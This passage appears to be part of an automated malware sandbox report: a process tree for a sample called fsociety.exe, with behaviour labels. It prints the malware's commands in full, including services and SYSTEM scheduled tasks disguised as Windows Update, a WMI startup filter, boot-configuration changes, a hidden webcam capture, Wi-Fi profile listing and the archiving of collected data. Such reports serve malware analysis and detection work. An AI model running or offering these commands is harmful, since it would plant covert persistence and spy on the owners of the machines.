  cmd.exe /c schtasks /create /tn "BootUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onboot /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
  2⤵
  PID:472
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "BootUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onboot /rl highest /f /ru SYSTEM /rp ""
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:896
- C:\Windows\system32\cmd.exe
  cmd.exe /c schtasks /run /tn "WindowsUpdate" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:1864
- - C:\Windows\system32\schtasks.exe
    schtasks /run /tn "WindowsUpdate"
    3⤵
    PID:1588
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wmic /namespace:\\root\subscription path __EventFilter create Name="WindowsUpdateFilter", EventNamespace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_SystemStartup" >nul 2>&1
  2⤵
  PID:1916
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic /namespace:\\root\subscription path __EventFilter create Name="WindowsUpdateFilter", EventNamespace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_SystemStartup"
    3⤵
    PID:536
- C:\Windows\system32\cmd.exe
  cmd.exe /c bcdedit /set {current} bootmenupolicy legacy >nul 2>&1
  2⤵
  PID:2988
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {current} bootmenupolicy legacy
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1372
- C:\Windows\system32\fsociety.exe
  "C:\Windows\system32\fsociety.exe"
  2⤵
  PID:3324
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop WindowsUpdate >nul 2>&1
    3⤵
    PID:208
  - - C:\Windows\system32\sc.exe
      sc stop WindowsUpdate
      4⤵
      PID:5532
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete WindowsUpdate >nul 2>&1
    3⤵
    PID:6012
  - - C:\Windows\system32\sc.exe
      sc delete WindowsUpdate
      4⤵
      PID:5300
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem >nul 2>&1
    3⤵
    PID:5940
  - - C:\Windows\system32\sc.exe
      sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem
      4⤵
      PID:2536
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate start= boot >nul 2>&1
    3⤵
    PID:5488
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate start= boot
      4⤵
      PID:2664
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate type= own >nul 2>&1
    3⤵
    PID:5952
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate type= own
      4⤵
      PID:5624
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate obj= LocalSystem >nul 2>&1
    3⤵
    PID:3068
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate obj= LocalSystem
      4⤵
      PID:5472
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate error= ignore >nul 2>&1
    3⤵
    PID:3788
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate error= ignore
      4⤵
      PID:5292
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400 >nul 2>&1
    3⤵
    PID:5544
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400
      4⤵
      PID:6020
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc description WindowsUpdate "Provides Windows system updates" >nul 2>&1
    3⤵
    - Executes a command shell one-liner
    PID:4004
  - - C:\Windows\system32\sc.exe
      sc description WindowsUpdate "Provides Windows system updates"
      4⤵
      PID:5316
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc start WindowsUpdate >nul 2>&1
    3⤵
    PID:116
  - - C:\Windows\system32\sc.exe
      sc start WindowsUpdate
      4⤵
      PID:5628
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop SystemUpdate >nul 2>&1
    3⤵
    - Executes a command shell one-liner
    PID:3544
  - - C:\Windows\system32\sc.exe
      sc stop SystemUpdate
      4⤵
      PID:2440
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete SystemUpdate >nul 2>&1
    3⤵
    PID:5548
  - - C:\Windows\system32\sc.exe
      sc delete SystemUpdate
      4⤵
      PID:6176
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create SystemUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= system type= own DisplayName= "System Update Service" obj= LocalSystem >nul 2>&1
    3⤵
    PID:6364
  - - C:\Windows\system32\sc.exe
      sc create SystemUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= system type= own DisplayName= "System Update Service" obj= LocalSystem
      4⤵
      PID:6724
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config SystemUpdate start= system >nul 2>&1
    3⤵
    PID:6908
  - - C:\Windows\system32\sc.exe
      sc config SystemUpdate start= system
      4⤵
      Launches sc.exe
      PID:4920
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config SystemUpdate obj= LocalSystem >nul 2>&1
    3⤵
    PID:5924
  - - C:\Windows\system32\sc.exe
      sc config SystemUpdate obj= LocalSystem
      4⤵
      PID:6212
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc start SystemUpdate >nul 2>&1
    3⤵
    PID:6572
  - - C:\Windows\system32\sc.exe
      sc start SystemUpdate
      4⤵
      PID:4768
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop WinUpdateSvc >nul 2>&1
    3⤵
    PID:1488
  - - C:\Windows\system32\sc.exe
      sc stop WinUpdateSvc
      4⤵
      Launches sc.exe
      PID:6400
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete WinUpdateSvc >nul 2>&1
    3⤵
    PID:5824
  - - C:\Windows\system32\sc.exe
      sc delete WinUpdateSvc
      4⤵
      PID:6340
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create WinUpdateSvc binPath= "\"C:\Windows\system32\fsociety.exe\"" start= auto type= own DisplayName= "Windows Update Service Helper" obj= LocalSystem >nul 2>&1
    3⤵
    PID:5900
  - - C:\Windows\system32\sc.exe
      sc create WinUpdateSvc binPath= "\"C:\Windows\system32\fsociety.exe\"" start= auto type= own DisplayName= "Windows Update Service Helper" obj= LocalSystem
      4⤵
      PID:5352
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WinUpdateSvc start= auto >nul 2>&1
    3⤵
    PID:5980
  - - C:\Windows\system32\sc.exe
      sc config WinUpdateSvc start= auto
      4⤵
      PID:6764
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WinUpdateSvc obj= LocalSystem >nul 2>&1
    3⤵
    - Executes a command shell one-liner
    PID:6764
  - - C:\Windows\system32\sc.exe
      sc config WinUpdateSvc obj= LocalSystem
      4⤵
      PID:6152
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc start WinUpdateSvc >nul 2>&1
    3⤵
    PID:2820
  - - C:\Windows\system32\sc.exe
      sc start WinUpdateSvc
      4⤵
      PID:5176
- - C:\Windows\system32\cmd.exe
    cmd.exe /c schtasks /create /tn "WindowsUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
    3⤵
    - Executes a command shell one-liner
    PID:7876
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "WindowsUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:7816
- - C:\Windows\system32\cmd.exe
    cmd.exe /c schtasks /create /tn "SystemUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
    3⤵
    PID:7336
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "SystemUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2504
- - C:\Windows\system32\cmd.exe
    cmd.exe /c schtasks /create /tn "WindowsService" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
    3⤵
    PID:416
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "WindowsService" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:8140
- - C:\Windows\system32\cmd.exe
    cmd.exe /c schtasks /create /tn "BootUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onboot /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
    3⤵
    PID:7012
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "BootUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onboot /rl highest /f /ru SYSTEM /rp ""
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:7460
- C:\Windows\system32\cmd.exe
  cmd.exe /c powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Drawing; Add-Type -AssemblyName System.Windows.Forms; $camera = New-Object System.Drawing.Bitmap(640, 480); $graphics = [System.Drawing.Graphics]::FromImage($camera); try { $capture = New-Object System.Windows.Forms.Capture; $capture.Start(); Start-Sleep -Milliseconds 500; $frame = $capture.GetFrame(); $graphics.DrawImage($frame, 0, 0, 640, 480); $camera.Save('C:\Users\Admin\AppData\Local\Temp\webcam_240708234.png', [System.Drawing.Imaging.ImageFormat]::Png); $capture.Stop(); } catch { $camera.Save('C:\Users\Admin\AppData\Local\Temp\webcam_240708234.png', [System.Drawing.Imaging.ImageFormat]::Png); } $graphics.Dispose(); $camera.Dispose(); "
  2⤵
  PID:5160
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Drawing; Add-Type -AssemblyName System.Windows.Forms; $camera = New-Object System.Drawing.Bitmap(640, 480); $graphics = [System.Drawing.Graphics]::FromImage($camera); try { $capture = New-Object System.Windows.Forms.Capture; $capture.Start(); Start-Sleep -Milliseconds 500; $frame = $capture.GetFrame(); $graphics.DrawImage($frame, 0, 0, 640, 480); $camera.Save('C:\Users\Admin\AppData\Local\Temp\webcam_240708234.png', [System.Drawing.Imaging.ImageFormat]::Png); $capture.Stop(); } catch { $camera.Save('C:\Users\Admin\AppData\Local\Temp\webcam_240708234.png', [System.Drawing.Imaging.ImageFormat]::Png); } $graphics.Dispose(); $camera.Dispose(); "
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:5540
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c netsh wlan show profile
  2⤵
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:2912
- - C:\Windows\system32\netsh.exe
    netsh wlan show profile
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:6004
- C:\Windows\system32\cmd.exe
  cmd.exe /c powershell -WindowStyle Hidden -Command "Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\tokyocore_data_240708078\*' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\tokyocore_data.zip' -Force"
  2⤵
  PID:5872
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -WindowStyle Hidden -Command "Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\tokyocore_data_240708078\*' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\tokyocore_data.zip' -Force"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:5332

C:\Windows\system32\fsociety.exe
C:\Windows\system32\fsociety.exe ,explorer.exe
1⤵
- Modifies WinLogon for persistence
- Event Triggered Execution: Image File Execution Options Injection
- Executes dropped EXE
- Modifies WinLogon
- Drops file in System32 directory
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:60
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc stop WindowsUpdate >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4836
- - C:\Windows\system32\sc.exe
    sc stop WindowsUpdate
    3⤵
    PID:4156
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc delete WindowsUpdate >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1628
- - C:\Windows\system32\sc.exe
    sc delete WindowsUpdate
    3⤵
    PID:3848
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3820
- - C:\Windows\system32\sc.exe
    sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem
    3⤵
    PID:3724
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config WindowsUpdate start= boot >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4808
- - C:\Windows\system32\sc.exe
    sc config WindowsUpdate start= boot
    3⤵
    PID:3536
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config WindowsUpdate type= own >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:556
- - C:\Windows\system32\sc.exe
    sc config WindowsUpdate type= own
    3⤵
    PID:4800
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config WindowsUpdate obj= LocalSystem >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2708
- - C:\Windows\system32\sc.exe
    sc config WindowsUpdate obj= LocalSystem
    3⤵
    PID:5016
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config WindowsUpdate error= ignore >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4960
- - C:\Windows\system32\sc.exe
    sc config WindowsUpdate error= ignore
    3⤵
    PID:560
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400 >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3560
- - C:\Windows\system32\sc.exe
    sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400
    3⤵
    PID:3956
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc description WindowsUpdate "Provides Windows system updates" >nul 2>&1
  2⤵
  PID:4020
- - C:\Windows\system32\sc.exe
    sc description WindowsUpdate "Provides Windows system updates"
    3⤵
    PID:4252
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc start WindowsUpdate >nul 2>&1
  2⤵
  PID:692
- - C:\Windows\system32\sc.exe
    sc start WindowsUpdate
    3⤵
    PID:4312
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc stop SystemUpdate >nul 2>&1
  2⤵
  PID:2384
- - C:\Windows\system32\sc.exe
    sc stop SystemUpdate
    3⤵
    PID:1228
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc delete SystemUpdate >nul 2>&1
  2⤵
  PID:4460
- - C:\Windows\system32\sc.exe
    sc delete SystemUpdate
    3⤵
    PID:4204
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc create SystemUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= system type= own DisplayName= "System Update Service" obj= LocalSystem >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:1132
- - C:\Windows\system32\sc.exe
    sc create SystemUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= system type= own DisplayName= "System Update Service" obj= LocalSystem
    3⤵
    PID:3044
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config SystemUpdate start= system >nul 2>&1
  2⤵
  PID:3684
- - C:\Windows\system32\sc.exe
    sc config SystemUpdate start= system
    3⤵
    PID:1100
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config SystemUpdate obj= LocalSystem >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:4440
- - C:\Windows\system32\sc.exe
    sc config SystemUpdate obj= LocalSystem
    3⤵
    PID:4584
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc start SystemUpdate >nul 2>&1
  2⤵
  PID:3432
- - C:\Windows\system32\sc.exe
    sc start SystemUpdate
    3⤵
    PID:2016
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc stop WinUpdateSvc >nul 2>&1
  2⤵
  PID:596
- - C:\Windows\system32\sc.exe
    sc stop WinUpdateSvc
    3⤵
    PID:3728
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc delete WinUpdateSvc >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:3812
- - C:\Windows\system32\sc.exe
    sc delete WinUpdateSvc
    3⤵
    PID:4264
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc create WinUpdateSvc binPath= "\"C:\Windows\system32\fsociety.exe\"" start= auto type= own DisplayName= "Windows Update Service Helper" obj= LocalSystem >nul 2>&1
  2⤵
  PID:4248
- - C:\Windows\system32\sc.exe
    sc create WinUpdateSvc binPath= "\"C:\Windows\system32\fsociety.exe\"" start= auto type= own DisplayName= "Windows Update Service Helper" obj= LocalSystem
    3⤵
    PID:4676
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config WinUpdateSvc start= auto >nul 2>&1
  2⤵
  PID:2272
- - C:\Windows\system32\sc.exe
    sc config WinUpdateSvc start= auto
    3⤵
    PID:2476
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config WinUpdateSvc obj= LocalSystem >nul 2>&1
  2⤵
  PID:4640
- - C:\Windows\system32\sc.exe
    sc config WinUpdateSvc obj= LocalSystem
    3⤵
    PID:2060
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc start WinUpdateSvc >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:4604
- - C:\Windows\system32\sc.exe
    sc start WinUpdateSvc
    3⤵
    - Launches sc.exe
    PID:4792
- C:\Windows\system32\cmd.exe
  cmd.exe /c schtasks /create /tn "WindowsUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
  2⤵
  PID:3688
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "WindowsUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3468
- C:\Windows\system32\cmd.exe
  cmd.exe /c schtasks /create /tn "SystemUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
  2⤵
  PID:3288
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "SystemUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:976
- C:\Windows\system32\cmd.exe
  cmd.exe /c schtasks /create /tn "WindowsService" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
  2⤵
  PID:3344
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "WindowsService" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1708
- C:\Windows\system32\cmd.exe
  cmd.exe /c schtasks /create /tn "BootUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onboot /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:4860
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "BootUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onboot /rl highest /f /ru SYSTEM /rp ""
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4048
- C:\Windows\system32\cmd.exe
  cmd.exe /c schtasks /run /tn "WindowsUpdate" >nul 2>&1
  2⤵
  PID:3716
- - C:\Windows\system32\schtasks.exe
    schtasks /run /tn "WindowsUpdate"
    3⤵
    PID:1616
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wmic /namespace:\\root\subscription path __EventFilter create Name="WindowsUpdateFilter", EventNamespace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_SystemStartup" >nul 2>&1
  2⤵
  PID:2836
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic /namespace:\\root\subscription path __EventFilter create Name="WindowsUpdateFilter", EventNamespace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_SystemStartup"
    3⤵
    PID:2664
- C:\Windows\system32\cmd.exe
  cmd.exe /c bcdedit /set {current} bootmenupolicy legacy >nul 2>&1
  2⤵
  PID:636
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {current} bootmenupolicy legacy
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3912
- C:\Windows\system32\fsociety.exe
  "C:\Windows\system32\fsociety.exe"
  2⤵
  PID:5608
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop WindowsUpdate >nul 2>&1
    3⤵
    - Executes a command shell one-liner
    PID:5724
  - - C:\Windows\system32\sc.exe
      sc stop WindowsUpdate
      4⤵
      PID:4956
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete WindowsUpdate >nul 2>&1
    3⤵
    PID:5800
  - - C:\Windows\system32\sc.exe
      sc delete WindowsUpdate
      4⤵
      PID:5444
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem >nul 2>&1
    3⤵
    PID:5764
  - - C:\Windows\system32\sc.exe
      sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem
      4⤵
      PID:880
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate start= boot >nul 2>&1
    3⤵
    PID:3516
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate start= boot
      4⤵
      PID:6004
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate type= own >nul 2>&1
    3⤵
    PID:2444
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate type= own
      4⤵
      PID:6072
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate obj= LocalSystem >nul 2>&1
    3⤵
    PID:5668
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate obj= LocalSystem
      4⤵
      PID:5516
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate error= ignore >nul 2>&1
    3⤵
    - Executes a command shell one-liner
    PID:5472
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate error= ignore
      4⤵
      PID:5716
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400 >nul 2>&1
    3⤵
    PID:4376
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400
      4⤵
      PID:5572
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc description WindowsUpdate "Provides Windows system updates" >nul 2>&1
    3⤵
    PID:3356
  - - C:\Windows\system32\sc.exe
      sc description WindowsUpdate "Provides Windows system updates"
      4⤵
      PID:4204
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc start WindowsUpdate >nul 2>&1
    3⤵
    PID:5920
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4956
  - - C:\Windows\system32\sc.exe
      sc start WindowsUpdate
      4⤵
      PID:3636
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop SystemUpdate >nul 2>&1
    3⤵
    - Executes a command shell one-liner
    PID:4832
  - - C:\Windows\system32\sc.exe
      sc stop SystemUpdate
      4⤵
      PID:4592
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete SystemUpdate >nul 2>&1
    3⤵
    PID:6328
  - - C:\Windows\system32\sc.exe
      sc delete SystemUpdate
      4⤵
      PID:6812
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create SystemUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= system type= own DisplayName= "System Update Service" obj= LocalSystem >nul 2>&1
    3⤵
    - Executes a command shell one-liner
    PID:7064
  - - C:\Windows\system32\sc.exe
      sc create SystemUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= system type= own DisplayName= "System Update Service" obj= LocalSystem
      4⤵
      PID:6120
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config SystemUpdate start= system >nul 2>&1
    3⤵
    PID:2628
  - - C:\Windows\system32\sc.exe
      sc config SystemUpdate start= system
      4⤵
      PID:6972
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config SystemUpdate obj= LocalSystem >nul 2>&1
    3⤵
    PID:2248
  - - C:\Windows\system32\sc.exe
      sc config SystemUpdate obj= LocalSystem
      4⤵
      PID:6880
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc start SystemUpdate >nul 2>&1
    3⤵
    PID:4288
  - - C:\Windows\system32\sc.exe
      sc start SystemUpdate
      4⤵
      Launches sc.exe
      PID:6696
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop WinUpdateSvc >nul 2>&1
    3⤵
    PID:3128
  - - C:\Windows\system32\sc.exe
      sc stop WinUpdateSvc
      4⤵
      PID:5812
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete WinUpdateSvc >nul 2>&1
    3⤵
    - Executes a command shell one-liner
    PID:6500
  - - C:\Windows\system32\sc.exe
      sc delete WinUpdateSvc
      4⤵
      PID:5652
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create WinUpdateSvc binPath= "\"C:\Windows\system32\fsociety.exe\"" start= auto type= own DisplayName= "Windows Update Service Helper" obj= LocalSystem >nul 2>&1
    3⤵
    - Executes a command shell one-liner
    PID:6508
  - - C:\Windows\system32\sc.exe
      sc create WinUpdateSvc binPath= "\"C:\Windows\system32\fsociety.exe\"" start= auto type= own DisplayName= "Windows Update Service Helper" obj= LocalSystem
      4⤵
      PID:5440
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WinUpdateSvc start= auto >nul 2>&1
    3⤵
    PID:5344
  - - C:\Windows\system32\sc.exe
      sc config WinUpdateSvc start= auto
      4⤵
      PID:7080
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WinUpdateSvc obj= LocalSystem >nul 2>&1
    3⤵
    - Executes a command shell one-liner
    PID:5456
  - - C:\Windows\system32\sc.exe
      sc config WinUpdateSvc obj= LocalSystem
      4⤵
      PID:6616
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc start WinUpdateSvc >nul 2>&1
    3⤵
    PID:7276
  - - C:\Windows\system32\sc.exe
      sc start WinUpdateSvc
      4⤵
      PID:6008
- - C:\Windows\system32\cmd.exe
    cmd.exe /c schtasks /create /tn "WindowsUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
    3⤵
    PID:4188
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "WindowsUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:7236
- - C:\Windows\system32\cmd.exe
    cmd.exe /c schtasks /create /tn "SystemUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
    3⤵
    PID:7884
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "SystemUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:7724
- - C:\Windows\system32\cmd.exe
    cmd.exe /c schtasks /create /tn "WindowsService" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
    3⤵
    PID:6248
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "WindowsService" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:6544
- C:\Windows\system32\cmd.exe
